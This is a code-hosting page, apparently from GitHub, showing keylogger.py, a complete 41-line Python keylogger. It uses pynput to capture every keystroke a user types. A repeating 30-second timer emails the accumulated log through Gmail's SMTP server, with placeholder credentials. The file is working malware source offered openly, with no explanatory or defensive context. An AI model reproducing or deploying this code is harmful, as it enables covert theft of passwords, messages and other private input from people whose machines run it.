-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeylogger.py
41 lines (34 loc) · 1002 Bytes
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import pynput.keyboard
import smtplib
import threading
log = ""
def callback_function(key):
global log
try:
#log = log + key.char.encode('utf-8')
log = log + str(key.char)
except AttributeError:
if key == key.space:
log = log + " "
else:
log = log + str(key)
except:
pass
print(log)
def send_email(email,password,message):
email_server = smtplib.SMTP("smtp.gmail.com",587)
email_server.starttls()
email_server.login(email,password)
email_server.sendmail(email,email,message)
email_server.quit()
#thread - threading
def thread_function():
global log
send_email("Email", "passwd", log.encode('utf-8'))
log = ""
timer_object = threading.Timer(30,thread_function)
timer_object.start()
keylogger_listener = pynput.keyboard.Listener(on_press=callback_function)
with keylogger_listener:
thread_function()
keylogger_listener.join()